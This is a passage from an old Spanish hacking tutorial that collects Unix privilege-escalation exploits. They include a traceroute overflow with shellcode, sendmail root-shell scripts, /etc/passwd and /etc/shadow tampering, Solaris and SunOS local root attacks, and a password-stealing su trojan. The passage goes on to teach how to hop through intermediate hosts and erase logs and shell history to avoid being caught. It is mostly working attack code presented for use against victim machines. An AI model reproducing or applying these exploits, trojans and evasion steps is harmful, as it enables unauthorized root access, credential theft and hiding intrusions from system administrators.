  8995.   hole can exist on their system.  If you use it for the wrong reasons
  8996.   then I say *tisk* on you.  I will not be held responsible for your 
  8997.   actions.
  8998.   
  8999.   This could be done with a generic overflow program, but just
  9000.   running this is easier.
  9001.  
  9002.   USAGE OF THIS DOES NOT GIVE YOU TECH SUPPORT SO DON'T
  9003.   MESSAGE ANYBODY ON IRC ABOUT THIS.
  9004.  
  9005. */
  9006.  
  9007. #include <stdio.h>
  9008. #include <stdlib.h>
  9009. #include <unistd.h>
  9010. char *shellcode =
  9011.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  9012.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  9013.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  9014.   "\xcd\x80/"
  9015.   "/bin/sh"
  9016.   "0";
  9017. char *get_sp() {
  9018.    asm("movl %esp,%eax");
  9019. }
  9020. #define bufsize 2048
  9021. char buffer[bufsize];
  9022. main() {
  9023.   int i;
  9024.   for (i = 0; i < bufsize - 4; i += 4)
  9025.     *(char **)&buffer[i] = get_sp() - 3072;
  9026.   memset(buffer, 0x90, 512);
  9027.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  9028.   buffer[bufsize - 1] = 0;
  9029.   system("clear");
  9030.   
  9031. printf("__________________________________________________________
  9032. ____________________\n");
  9033.   printf("| Traceroute Overflow -- (c) shit-head 1997\n");
  9034.   printf("| Give props to Solar Designer for his su overflow, this is based on 
  9035. that.\n");
  9036.   printf("|\n");
  9037.   printf("| Peep's to: suid, knowy, thugzsta, you all be 2 cool.\n");
  9038.   printf("|\n");
  9039.   printf("| *NOTE* I'm not responsible if you abuse this. Run only w/ 
  9040. premission\n");
  9041.   printf("| Sending Overflow.... Done.\n");
  9042.   printf("------------------------------------------------------------------------------\n");
  9043.   setenv("NLSPATH", buffer, 1);
  9044.   execl("/usr/bin/traceroute", "/usr/bin/traceroute", NULL);
  9045. }
  9046.  
  9047. ------------ FIN -------------------------------------------------------------
  9048.  
  9049.   SENDMAIL
  9050.  
  9051. ------------ Codigo Fuente ---------------------------------------------------
  9052.  
  9053.         Aunque obviamente el sendmail no es un sistema operativo pongo
  9054.   algunos xploits para el, ya que es el clasico de los holes en maquinas unix.
  9055.  
  9056.  
  9057.   Sendmail 8.7-8.8.2
  9058.  
  9059.  
  9060. #/bin/sh 
  9061. #                                   Hi ! 
  9062. #                This is exploit for sendmail smtpd bug 
  9063. #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). 
  9064. #         This shell script does a root shell in /tmp directory. 
  9065. #          If you have any problems with it, drop me a letter. 
  9066. #                                Have fun ! 
  9067. #                           ---------------------- 
  9068. #               --------------------------------------------- 
  9069. #    -----------------   Dedicated to my beautiful lady   ------------------ 
  9070. #               --------------------------------------------- 
  9071. #                           ---------------------- 
  9072. #          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su 
  9073. echo   'main()                                                '>>leshka.c 
  9074. echo   '{                                                     '>>leshka.c 
  9075. echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c 
  9076. echo   '}                                                     '>>leshka.c 
  9077. echo   'main()                                                '>>smtpd.c 
  9078. echo   '{                                                     '>>smtpd.c 
  9079. echo   '  setuid(0); setgid(0);                               '>>smtpd.c 
  9080. echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c 
  9081. echo   '}                                                     '>>smtpd.c 
  9082. cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c 
  9083. ./leshka 
  9084. kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
  9085. "\n"|head -n 1`
  9086. rm leshka.c leshka smtpd.c /tmp/smtpd 
  9087. /tmp/sh 
  9088.  
  9089.   Descripcion y Notas:
  9090.  
  9091.         Este bug se basa en el hecho de que sendmail es un programa suid root
  9092.   y como tal puede ser invocado como demonio por cualquier usuario y tras
  9093.   ello cargar una pieza de codigo de cualquier parte por lo tanto el usuario
  9094.   puede mandar "señales" a sendmail y controlarlo con los beneficios que ello
  9095.   conlleva, basicamente el bug trastoca el HUP handler para permitir esto.
  9096.  
  9097. ------------ FIN -------------------------------------------------------------
  9098.  
  9099.   Otro para el sendmail 8.8.4:
  9100.  
  9101. ------------ Codigo Fuente ---------------------------------------------------
  9102.  
  9103. Try this:
  9104. Make hard link of /etc/passwd to /var/tmp/dead.letter
  9105. Telnet to port 25, send mail from some bad email address to some 
  9106. unreacheable hoost.
  9107. Watch your message get appended to passwd.
  9108. ie:
  9109. cowzilla::0:0:c0wz1ll4 0wns u:/:/bin/sh
  9110.  
  9111. This is not good.  Worked with my 8.8.4, will probably also work with 8.8.5
  9112.  
  9113. Root for the whole family
  9114.  
  9115. ============================================================
  9116. ======
  9117.  
  9118. okay, just want to point out some things about this exploit...
  9119. this won't work on big boxes that are partitioned cause you can only do a
  9120. hard link on the same file system.  another point is that any box that has
  9121. a 'MAILER-DAEMON' defined will get any mail that gets sent there instead of it
  9122. saving it to /var/tmp/dead.letter, ie, make an /etc/aliases file that defines
  9123. a MAILER-DAEMON. for instance, i add these two to my /etc/aliases:
  9124.  
  9125. MAILER-DAEMON:gonzo
  9126. postmaster:gonzo
  9127.  
  9128. then you just type 'newaliases' and you're good to go. (postmaster is a
  9129. general good idea) course then you have to deal with ppl's messed up mail...
  9130.  
  9131.  
  9132. ============================================================
  9133. =======
  9134.  
  9135. Here's a nice little sendmail exploit that works with 8.8.4 and maybe with
  9136. 8.8.5.
  9137. You need to have an account on the system you're exploiting.
  9138. telnet to your shell and issue following commands:
  9139.  
  9140. ln /etc/passwd /var/tmp/dead.letter
  9141. telnet target.host 25
  9142. mail from: non@existent.host
  9143. rcpt to: non@existent.host
  9144. data
  9145. kRad::0:0:J0oR dEaD:/root:/bin/bash
  9146. .
  9147. quit
  9148.  
  9149. The body of the message will be written into /etc/passwd and you've got a 
  9150. password-free root account.
  9151.  
  9152. Note that this will NOT work under any of the following circumstances:
  9153.  
  9154. 1. /var and / are different partitions.
  9155.     You can't make a hardlink between different partitions.
  9156. 2. There is a postmaster account or mail alias.
  9157.     Mail problems are sent to postmaster before they go to
  9158.     /var/tmp/dead.letter.    
  9159. 3. /var/tmp doesn't exist or isn't publicly writable.
  9160.     Duh.
  9161. 4. Other situations?
  9162.  
  9163. ------------ FIN -------------------------------------------------------------
  9164.  
  9165.   SOLARIS
  9166.  
  9167. ------------ Codigo Fuente ---------------------------------------------------
  9168.  
  9169. I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert
  9170. - calendar data conversion utility - allows any user to change the owner for
  9171. any file (or directory) from the system or gain root access. The exploit is
  9172. very simple. Change the permision mode of your calendar file (callog.YOU)
  9173. from /var/spool/calendar directory (usual r--rw----) and run sdtcm_convert. 
  9174. sdtcm_convert 'll observe the change and 'll want  to correct it (it 'll ask
  9175. you first). You have only to delete the callog file and make a symbolic link
  9176. to a target file and your calendar file and said to sdtcm_convert 'y' (yes).
  9177. sdtcm_convert 'll make you the owner of target file ...
  9178. A simple way to correct this is to get out suid_exec bit from sdtcm_convert.
  9179.  
  9180. -----------------------------------------------------------------------------
  9181.  
  9182.  CDE is generally a can of worms.
  9183.  
  9184.  22:15  [wumpus:~] % whoami
  9185.  adam
  9186.  22:15  [wumpus:~] % ls -l /etc/shadow
  9187.  -r--------   1 root     sys          291 Jul 11 22:14 /etc/shadow
  9188.  22:15  [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam
  9189.  22:15  [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam
  9190.  Loading the calendar ...
  9191.  
  9192.  WARNING!! Data will be lost when converting version 4 data format
  9193.  back to version 3 data format.
  9194.  
  9195.  Do you want to continue? (Y/N) [Y] y
  9196.  
  9197.  Doing conversion ...
  9198.  Writing out new file ...
  9199.  Conversion done successfully.
  9200.  Total number of appointments                    = 0
  9201.  Number of one-time appointments converted       = 0
  9202.  Number of repeating appointments converted      = 0
  9203.  Number of one-time appointments pruned          = 0
  9204.  Number of repeating appointments pruned         = 0
  9205.  The original file is saved in /tmp/calorig.adam
  9206.  22:15  [wumpus:~] % ls -l /etc/shadow
  9207.  -r--rw----   1 adam     daemon      3114 Jul 11 22:15 /etc/shadow
  9208.  22:15  [wumpus:~] % chmod 644 /etc/shadow
  9209.  22:15  [wumpus:~] % cp /dev/null /etc/shadow
  9210.  cp: overwrite /etc/shadow (y/n)? y
  9211.  22:15  [wumpus:~] % ls -l /etc/shadow
  9212.  -rw-r--r--   1 adam     daemon         0 Jul 11 22:15 /etc/shadow
  9213.  22:15  [wumpus:~] % echo "root::6445::::::" >> /etc/shadow
  9214.  22:16  [wumpus:~] % su
  9215.  # id
  9216.  uid=0(root) gid=1(other)
  9217.  # exit
  9218.  
  9219. ------------ FIN -------------------------------------------------------------
  9220.  
  9221.   OTRO PARA SOLARIS
  9222.  
  9223. ------------ Codigo Fuente ---------------------------------------------------
  9224.  
  9225. Author: mudge@l0pht.com
  9226.  
  9227. Overview:
  9228.  
  9229. A buffer overflow condition exists in the getopt(3) routine. By supplying
  9230. an invalid option and replacing argv[0] of a SUID program that uses the
  9231. getopt(3) function with the appropriate address and machine code instructions,
  9232. it is possible to overwrite the saved stack frame and upon return(s) force
  9233. the processor to execute user supplied instructions with elevated permissions.
  9234.  
  9235. Description:
  9236.  
  9237. While evaluating programs in the Solaris Operating System environment 
  9238. it became apparent that changing many programs trust argv[0] to never
  9239. exceed a certain length. In addition it seemed as though getopt was
  9240. simply copying argv[0] into a fixed size character array.
  9241.  
  9242.   ./test >>& ccc
  9243.   Illegal instruction (core dumped)
  9244.  
  9245. Knowing that the code in ./test was overflow free it seemed that the problem
  9246. must exist in one of the functions dynamically linked in at runtime through
  9247. ld.so. A quick gander through the namelist showed a very limited range of
  9248. choices for the problem to exist in.
  9249.  
  9250.   00020890 B _end
  9251.   0002088c B _environ
  9252.   00010782 R _etext
  9253.            U _exit
  9254.   00010760 ? _fini
  9255.   0001074c ? _init
  9256.   00010778 R _lib_version
  9257.   000105ac T _start
  9258.            U atexit
  9259.   0002088c W environ
  9260.            U exit
  9261.   0001067c t fini_dummy
  9262.   0002087c d force_to_data
  9263.   0002087c d force_to_data
  9264.   000106e4 t gcc2_compiled.
  9265.   00010620 t gcc2_compiled.
  9266.            U getopt
  9267.   00010740 t init_dummy
  9268.   00010688 T main
  9269.  
  9270. Next we checked out getopt() - as it looked like the most likely
  9271. suspect.
  9272.  
  9273.   #include <stdio.h>
  9274.  
  9275.   main(int argc, char **argv)
  9276.   {
  9277.     int opt;
  9278.  
  9279.     while ((opt = getopt(argc, argv, "a")) != EOF) {
  9280.       switch (opt) {
  9281.       }
  9282.     }
  9283.   }
  9284.  
  9285.   >gcc -o test test.c
  9286.   >./test -z
  9287.   ./test: illegal option -- z
  9288.  
  9289. Note the name it threw back at the beggining of the error message. It was
  9290. quite obvious that they are just yanking argv[0]. Changing argv[0] in 
  9291. the test program confirms this.
  9292.  
  9293.   for (i=0; i< 4096; i++)
  9294.     buffer[i] = 0x41;
  9295.  
  9296.    argv[0] = buffer;
  9297.  
  9298. With the above in place we see the following result:
  9299.   >./test -z
  9300.   [lot's of A's removed]AAAAAAAAA: illegal option -- z
  9301.   Bus error (core dumped)
  9302.  
  9303. By yanking out the object file from the static archive libc that is supplied
  9304. with Solaris our culprit was spotted [note - we assumed that libc.a was
  9305. built from the same code base that libc.so was].
  9306.  
  9307.   > nm getopt.o
  9308.            U _dgettext
  9309.   00000000 T _getopt
  9310.   00000000 D _sp
  9311.            U _write
  9312.   00000000 W getopt
  9313.            U optarg
  9314.            U opterr
  9315.            U optind
  9316.            U optopt
  9317.            U sprintf
  9318.            U strchr
  9319.            U strcmp
  9320.            U strlen
  9321.  
  9322. Here we see one of the infamous non-bounds-checking routines: sprintf();
  9323. More than likely the code inside getopt.c looks something like the following:
  9324.  
  9325.   getopt.c:
  9326.     char opterr[SOMESIZE];
  9327.     ...
  9328.     sprintf(opterr, argv[0]...);
  9329.  
  9330. Thus, whenever you pass in a non-existant option to a program that uses getopt
  9331. you run into the potential problem with trusting that argv[0] is smaller
  9332. than the space that has been allocated for opterr[]. 
  9333.  
  9334. This is interesting on the Sparc architecture as getopt() is usually called
  9335. out of main() and you need two returns [note - there are certain situations
  9336. in code on Sparc architectures that allow you to switch execution to your 
  9337. own code without needing two returns. Take a look at the TBR for some
  9338. enjoyable hacking] due to the sliding register windows. Some quick analysis
  9339. of SUID programs on a standard Solaris 2.5 box show that most of these
  9340. programs exit() or more likely call some form of usage()-exit() in the
  9341. default case for getopt and thus are not exploitable. However, at least
  9342. two of these programs provide the necessary returns to throw your
  9343. address into the PC :
  9344.      passwd(1)
  9345.      login(1)
  9346.  
  9347. On Solaris X86 you do not need these double returns and thus a whole world of
  9348. SUID programs allow unpriveledged users to gain root access: 
  9349.     (list of programs vulnerable too big to put here. sigh.)
  9350.  
  9351. Exploit:
  9352.  
  9353.  
  9354.   $./exploit "/bin/passwd" 4375 2> foo
  9355.   # id
  9356.   uid=0(root) gid=1(other)
  9357.  
  9358. ------------ FIN -------------------------------------------------------------
  9359.  
  9360.   SUNOS
  9361.  
  9362. ------------ Codigo Fuente ---------------------------------------------------
  9363.  
  9364. **************************************************************************
  9365.    HACK: Exploit the patched "loadmodule" with a path attack [8lgm]
  9366.  System: Sun OS 4.1.x (?others)
  9367.  Source: 8lgm
  9368.    Date: Jan 2, 1995
  9369. **************************************************************************
  9370.  
  9371.  
  9372. VERSIONES VULNERABLES:
  9373.  
  9374.         SunOS 4.1.* & Openwindows 3 con el ultimo parche para loadmodule.
  9375.  
  9376. DESCRIPCION:
  9377.  
  9378.         loadmodule usa system(3) para encontrar la arquitectura de la maquina.
  9379.  
  9380. IMPACTO:
  9381.  
  9382.         Usuarios locales pueden obtener acceso como r00t.
  9383.  
  9384. REPETIDO POR:
  9385.         
  9386.         Insertar el directorio local al comienzo de tu path
  9387.                 $ set path=(. $path)
  9388.  
  9389.         Copiar un shell y darle los atributos 711
  9390.                 $ echo "/bin/sh" > ld
  9391.                 $ chmod 711 ld
  9392.  
  9393.         Ejecutar loadmodule con una llamada limpia y obtener un shell
  9394.         de r00t
  9395.                 $ /usr/openwin/loadmodule sd.o evqload
  9396.                 # whoami
  9397.                 root
  9398.  
  9399. ------------ FIN -------------------------------------------------------------
  9400.  
  9401.         Bueno, creo que ya han sido suficientes, a ver si para proximas
  9402.   ediciones del texto me lo curro un poco mas y los busco mas elegidos pero
  9403.   ahora viene el follon de examenes :o(   y los he pillado un poco al azar. A
  9404.   ver si tengo tiempo y en la proxima edicion pongo los que dan mas resultado
  9405.   e intento explicar un poco las pegas que tienen.. perdon por mi
  9406.   incompetencia jeje
  9407.  
  9408.         En realidad, por lo menos lo que hago yo en empaquetarlos en un tgz ya
  9409.   que los tengo ordenados por sistemas operativos y por versiones, subirlos a
  9410.   la maquina victima con ftp y rular los ke puedan servir para esa makina en 
  9411.   concreto. Para algunos sistemas operativos, tengo hechos scripts en shell
  9412.   que te los rulan automaticamente.. akonsejo ke lo hagais, no es dificil y
  9413.   te evitas tiempo :)
  9414.  
  9415.   7.3.- TROYANOS
  9416.  
  9417.         Bueno, un troyano es un programa que modifica su funcion habitual para
  9418.   conseguir algun objetivo que nos interese. En principio, una de las
  9419.   utilidades mas importantes de los troyanos es dejar backdoors con los
  9420.   tipicos troyanos del login, telnetd, fingerd y demas... espero que en
  9421.   posteriores ediciones del texto tenga tiempo para explicarlos estos un poco.
  9422.   Pero como en esta seccion lo que nos interesan son modos de pillar root, voy
  9423.   a contar un poco como usar el troyano de su para conseguir ese objetivo.
  9424.  
  9425.         Para aquellos que vais un poco verdes en unix, explico lo que es el
  9426.   su. En principio hay muchos administradores que entran con una cuenta de
  9427.   usuario normal y cuando necesitan hacer algo que requiere que sean root,
  9428.   ejecutan el comando su que permite cambiar el usuario a root. Esto se hace
  9429.   ya que no es conveniente ser root en la maquina por posibles metidas de
  9430.   pata (sobretodo a altas horas de la mañana jeje) y si por ejemplo haces un
  9431.   rm sobre un fichero importante y no eres root, no pasa nada en general ya
  9432.   que no tendras permisos para hacerlo.
  9433.  
  9434.         Para usar este sistema, hay que buscar quien usa su. Esto se puede
  9435.   hacer viendo en el /var/adm/messages (si tienes permisos para leerlo), el
  9436.   sulog u otros archivos de log dependiendo del sistema en el que estes, o
  9437.   bien entrar en los directorios HOME (si tienes permisos) y ver los history
  9438.   (que son distintos dependiendo del shell que se usa.. estan explicados en
  9439.   el apartado de borrar huellas) ya que en esos archivos se ven todos los
  9440.   comandos ejecutados por el usuario.
  9441.  
  9442.         Es decir, con esta tecnica tambien tenemos que sacar un passwd de 
  9443.   administrador, pero hay que tener en cuenta que si por ejemplo es una 
  9444.   maquina con dos users con id=0 y que ademas cada uno de ellos entra con 
  9445.   una cuenta normal para hacer luego su, hay 4 cuentas de "root" por lo que 
  9446.   pasando unos cuantos diccionarios es facil que caiga alguna de las cuatro.
  9447.  
  9448.         En fin, siguiendo con el rollo y suponiendo que tenemos la cuenta de
  9449.   ese user que luego hace su root, se ha de cambiar la variable path a un
  9450.   directorio donde pongamos el su troyano, es decir, pillamos el codigo del
  9451.   su, lo compilamos y lo metemos en un directorio cualquiera buscando que no
  9452.   cante mucho. Ese directorio lo ponemos en el path de manera que este antes
  9453.   que el directorio por defecto donde esta el su verdadero. Por ejemplo, si
  9454.   el path es:
  9455.  
  9456.   PATH=/bin/:/sbin/.........
  9457.  
  9458.         Tendria que ponerse si el directorio donde esta el troyano de su, se
  9459.         llama /.troyano:
  9460.  
  9461.   PATH=/.troyano:/bin:/sbin......
  9462.  
  9463.         Asi, si el administrador que no ha entrado con la cuenta de root hace
  9464.   su, entrara el troyano que lo que hace pedirle el passwd y le dice que es
  9465.   un passwd incorrecto con lo que el pensara que se ha equivocado
  9466.   introduciendo el dato y te guarda el passwd en un fichero determinado. Tras
  9467.   esto, el su troyano se borra automaticamente por lo que pierde el rastro.
  9468.  
  9469.         Esto puede tener algunas pegas como son que esa variable nueva
  9470.   añadida al path canta un poco, que el tio se mosquee cuando el su le de
  9471.   error, y alguno mas que pueden ir surgiendo sobre la marcha, o sea, que
  9472.   probadlo que da buenos resultados aunque teneis que tener cuidado con estas
  9473.   pegas.
  9474.  
  9475.   Bueno, ahi va el codigo:
  9476.  
  9477. ------------ Codigo Fuente ---------------------------------------------------
  9478.  
  9479. /* su trojan ribbed - by FA-Q
  9480.  * werd to lwn for his help.
  9481.  * mkdir .elm
  9482.  * cc -o ~/.elm/su su.c
  9483.  * edit .bash_profile or .bashrc
  9484.  * add PATH=$HOME/.elm:$PATH
  9485.  */
  9486.  
  9487. #include <stdio.h>
  9488. #include <stdlib.h>
  9489.  
  9490. #define SU_PASS "/tmp/.rewt"
  9491.  
  9492. main (int argc, char *argv[])
  9493. {
  9494.    char *key;
  9495.    char buf[24];
  9496.    FILE *fd;
  9497.  
  9498.    key = (char *)getpass ("Password:");
  9499.    fd = fopen(SU_PASS,"w");
  9500.    fprintf(fd, "pass: %s\n", key);
  9501.    fclose(fd);
  9502.    printf ("su: incorrect password\n");
  9503.    sprintf(buf, "rm %s", argv[0]);
  9504.    system(buf);
  9505.    exit (1);
  9506. }
  9507.  
  9508. ------------ FIN -------------------------------------------------------------
  9509.  
  9510.         Bueno, creo que con estos tres metodos sera suficiente para pillar
  9511.   root en muchas makinas... una de las cosas mas importantes es buscar
  9512.   exploits, asi ke buscando un poko en la red, tendreis muchiiiisimos :)
  9513.  
  9514.   8- HACKEAR CON CONDON ( o gateway)
  9515.  
  9516.         Tras explicar los metodos para entrar en maquinas y pillar root, en
  9517.   este y el proximo apartado se va a explicar un poco que hacer para ke no te
  9518.   pillen.
  9519.  
  9520.         En general, cuando tu hackeas una maquina sin ningun tipo de
  9521.   proteccion, simplemente haces telnet victima.com o ftp o el servicio que
  9522.   quieras. Esto esta muy bien porque claramente la distancia mas corta entre
  9523.   dos puntos es la linea recta, pero el problema es que en algunos logs de la
  9524.   maquina victima aparece nuestro ip y por tanto nos tienen perfectamente
  9525.   identificados con solo hacer un last.
  9526.  
  9527.         Hay que puntualizar que otra manera de hacer las cosas es no usar
  9528.   condon pero tener mucha experiencia en el borrado de huellas pero eso no es 
  9529.   aconsejable si no estas muy seguro de tus habilidades.
  9530.  
  9531.         Un tema a discutir, seria cuando hay que usar protecciones o no. Un
  9532.   consejo personal es hacerlo dependiendo del tipo de maquina y del tipo de
  9533.   cosas que se van a hacer en ella. No es lo mismo entrar en una maquina de
  9534.   una universidad que sabemos que el root no esta muy experimentado que
  9535.   entrar en una maquina con medidas serias de seguridad. Tampoco es lo mismo
  9536.   entrar para ver que la cuenta que has pillado funciona, hacer un ls y poco
  9537.   mas, que entrar, ejecutar xploits, poner un sniffer, etc. Obviamente, en el
  9538.   segundo caso hay que tomar algun tipo de proteccion si no quieres acabar en
  9539.   la carcel. Ademas, mi opinion es que este sistema es un metodo de seguridad
  9540.   adicional ademas obviamente de borrar huellas y usar este sistema
  9541.   simplemente por si has fallado en algo pero no solo usar esto. Ademas, si
  9542.   tienes una cuenta y la usas con condon y no borras huellas, no te pillaran,
  9543.   pero seguramente veran los logs y te cancelaran la cuenta o cambiaran cosas
  9544.   del sistema dependiendo lo que hayas hecho. Te quitaran el sniffer, te
  9545.   quitaran si tienes sushi, si tienes alguna backdoor, etc.
  9546.  
  9547.         La manera de trabajar usando condon, consiste en usar maquinas
  9548.   intermedias para saltar de una en otra hasta llegar a la maquina objetivo.
  9549.   El esquema seria:
  9550.  
  9551.   Mimaquina-->Condon1-->Condon2-->Victima.com
  9552.  
  9553.         Ponemos el ejemplo de dos maquinas intermedias que sera suficiente
  9554.   para la mayoria de casos, pero lo que es cierto es que como las maquinas
  9555.   condon sean un poco lentas.. nos podemos morir de asco y de aburrimiento:o(
  9556.  
  9557.         En el ejemplo anterior, si en victima.com nos pillan, aparecemos con
  9558.   el ip de la maquina condon2 por lo que no sera la nuestra. Si quisieran
  9559.   pillarnos tendria que ir el root de la victima.com a hablar con el root de
  9560.   condon2 para convencerle de que le de tu ip ya que la maquina condon2
  9561.   tendra tu conexion en su log (siempre que no hayas borrado huellas en la
  9562.   maquina condon2, cosa que seria conveniente). Raramente un root de
  9563.   victima.com hablara con condon2 diciendole que les ha entrado un hacker y
  9564.   pidiendoles ayuda y sobre todo si una es de Japon y la otra de Noruega
  9565.   (jeje) pero en casos extremos todo esto se podria hacer legalmente por
  9566.   parte de la policia, pero tienes que hacer algo muy gordo para eso. Ademas,
  9567.   como se ha usado otra maquina condon1 se multiplican nuevamente todos los
  9568.   problemas para localizarte por lo que sera improbable si has borrado las
  9569.   huellas medianamente bien. El problema de esto es que si saltas a una
  9570.   makina de japon y luego a otra de noruega y luego a otra de españa, puedes
  9571.   tardar 10 minutos en que llegue a la destino si las intermedias van lentas:(
  9572.  
  9573.         Por ejemplo, si queremos hacer un telnet usando dos condones, el 
  9574.   procedimiento seria:
  9575.  
  9576.   % telnet condon1.com
  9577.  
  9578.         Te cuenta un rollo y te pide login y pass (que deben ser conocidos)
  9579.   UNIX v.4.5
  9580.   Login: aaaaaa
  9581.   Password: xxxxxx
  9582.         Te da acceso a esa maquina y haces otro telnet:
  9583.   % telnet condon2.com
  9584.  
  9585.         Te cuenta otro rollo y te pide login y pass
  9586.   IRIS v.3.5 Please Login
  9587.   Login: pepito
  9588.   Password: xxxx
  9589.   % telnet victima.com <---------Sistema con seguridad seria
  9590.         Te cuenta otro rollo y lo mismo:
  9591.  
  9592.   Login: porfinllego
  9593.   Password: xxxxxxxx
  9594.   Bienvenido!
  9595.  
  9596.         Y asi ya estamos en la maquina victima con 2 condones. Supongo que 
  9597.   entendeis el tema. Este procedimiento se puede usar con cualquier servicio: 
  9598.   telnet, ftp, etc.
  9599.  
  9600.         Es indispensable que las maquinas condon sean bastantes conocidas por
  9601.   el hacker, es decir, que sepas que el root no controla demasiado o que por
  9602.   algun motivo sabes que esta bajo tu control absoluto (aunque recuerdo que
  9603.   no siempre todo es como parece ser :o( porque quiza te pases de listo
  9604.   pensando que el root no tiene ni puta idea y resulta que te esta tomando el
  9605.   pelo), ya que como haya algun contratiempo puedes acabar en la carcel :o( o
  9606.   tambien seria una putada que el root de esa makina sea un tio competente (u
  9607.   otro hacker) y te este vigilando en todo lo que hagas y te este logeando
  9608.   todo lo que haces con los correspondientes inconvenientes.
  9609.  
  9610.         Sobre esto, he de decir que se debe tener en cuenta que hay
  9611.   administradores que controlan todos los aspectos del hacking y te pueden
  9612.   estar haciendo exactamente lo que piensas que le estas haciendo a el, es
  9613.   decir, el puede tener puestos troyanos para ocultar su presencia o para
  9614.   ocultar procesos suyos que te pueden estar logeando, pillais la idea no?..
  9615.   de hecho muchos hackers que conozco que son roots de maquinas usan este
  9616.   tipo de cosas... asi que tened cuidado ahi fuera ;o)
  9617.  
  9618.   9.- BORRAR HUELLAS
  9619.  
  9620.         En el apartado 8 se ha explicado como proteger que te localicen pero
  9621.   siempre ha de estar combinado el uso de condon con el borrado de huellas.
  9622.  
  9623.         El borrado de huellas es una de las tareas mas importantes cuando se
  9624.   entra en una maquina ya que si detectan que has entrado se mosquearan y
  9625.   buscaran como conseguir eliminarte y aunque el root no se entere mucho,
  9626.   siempre puede pedirle a alguien ayuda y que te descubran los troyanos,
  9627.   rootkits y demas ingenios maleficos..:( .. por esto, lo mejor es que no
  9628.   detecten que has entrado y esto se consigue borrando las huellas tal y como
  9629.   se explica a continuacion.
  9630.  
  9631.         El problema del borrado de huellas es que para borrar poder borrar
  9632.   todas las huellas has de ser root (excepto algunos sunos que se podia
  9633.   modificar un fichero de log aunke no todos) y ademas en algunos sistemas
  9634.   con sistemas adicionales de logs o de seguridad borrar todas las huellas se
  9635.   puede convertir en una tarea compleja.
  9636.  
  9637.         Un consejo particular es que el hackeo de la maquina, a ser posible,
  9638.   es mejor hacerlo todo de una. Es decir, que si por ejemplo consigues el
  9639.   fichero de passwd con un bug remoto (por ejemplo el phf), eso deja logs en
  9640.   el httpd por lo que lo mas interesante es pillar el fichero de passwd y
  9641.   desencriptarlo con el john (o si pillas una shell remota no necesitas
  9642.   desencriptar), entrar e intentar hacerte root para poder borrar las
  9643.   huellas... todo de un tiron.
  9644.  
  9645.         Os podeis preguntar que si no es mas comodo hacerlo en varios dias..
  9646.   la respuesta es que es mas comodo hacerlo en varios dias, pero tened en
  9647.   cuenta que si por ejemplo pillais el fichero de passwd con el phf un lunes
  9648.   noche, y hasta el jueves no os poneis de nuevo con la maquina, el root
  9649.   puede haber visto los logs del httpd en martes y darse cuenta de que tiene
  9650.   un hacker rondando... una putada no?... sin embargo, si el mismo lunes,
  9651.   entrais usando el phf, rulais xploits y os haceis root y usais las tecnicas
  9652.   explicadas en esta seccion para borrar huellas, sereis roots y ademas no
  9653.   tendra manera de detectarlo... esta bien no??
  9654.  
  9655.         Por cierto, aunque no venga mucho al caso, aconsejo que al entrar en
  9656.   una maquina, antes de hacer cosas, hagais un who.. aunque tened en cuenta
  9657.   que hay que saber interpretar los resultados del who ya que a veces pueden
  9658.   estar semi-adulterados.
  9659.  
  9660.         Otra cosa es que hay que ser un poco cuidadoso con lo que se hace. Hay 
  9661.   mucha gente que sube los xploits a las maquinas y los zappers y luego no se 
  9662.   preocupan ni de borrarlos ni de nada.. opino que tampoco cuesta mucho meter 
  9663.   todos los xploit en un directorio .xploit y antes de irte hacer un rm -r
  9664.   .xploit... es ke da un poko de pena ir por una makina y encontrartela llena
  9665.   de xploits y de ficheros de passwd por los homes de los usuarios :(
  9666.  
  9667.         En fin, vamos al grano... los sistemas operativos llevan por defecto
  9668.   bastantes logs (log es un archivo que guarda informacion) : en los textos
  9669.   que he mirado por ahi la mayoria hablan del wtmp, utmp y lastlog y algunos
  9670.   hablan sobre el acct, pero en realidad hay que tener cuidado con algunos
  9671.   logs mas como pueda ser el que registra las entradas por ftp, todos los que
  9672.   genera el syslogd, los del httpd, etc.
  9673.  
  9674.         Ademas para joder mas, existen programas especificos para ejercer
  9675.   tareas adicionales como puedan ser el tripwire (comprobador de binarios),
  9676.   tcp-wrappers, log daemons adicionales, etc pero en fin... todo esto lo
  9677.   dejaremos para otro texto que vienen los examenes pronto y tengo poco
  9678.   tiempo jeje 
  9679.  
  9680.         Bien, seas o no seas root, has de tener cuidado con el history. El
  9681.   history es un archivo que guarda todos los comandos que ejecutas y que por
  9682.   ejemplo en la bash se llama .bash_history.
  9683.  
  9684.         Para evitar que se haga el history tienes varias alternativas:
  9685.  
  9686.   unset history
  9687.   o
  9688.   poner un set y hacer algo del tipo HISTFILE=/dev/null
  9689.   o
  9690.   ln -s /dev/null /.bash_history (suponiendo que estamos en bash shell)
  9691.  
  9692.         El sistema que yo uso es ejecutar una csh ke no deja archivo history
  9693.   kon lo ke te olvidas de este problema :)
  9694.  
  9695.         Otra historia para tener en cuenta es que si entras en la tipica
  9696.   maquina que te dice quien fue el ultimo usuario que entro a esa cuenta,
  9697.   podria ser sospechoso si entras a una maquina alemana y ve que
  9698.  
  9699.   Lastlogin by pepito.es 23-01-1997
  9700.  
  9701.         Opino que seria mosqueante no?... asi que si no conseguimos ser root y 
  9702.   podemos borrarlo con el cloak o similar, lo que tenemos que hacer es un
  9703.   telnet maquinavictima.de y asi cuando entre la siguiente persona vera:
  9704.  
  9705.   Lastlogin by maquinavictima.de 23-01-1997
  9706.  
  9707.         Que aunque no es perfecto, es mejor que en el caso anterior no?
  9708.  
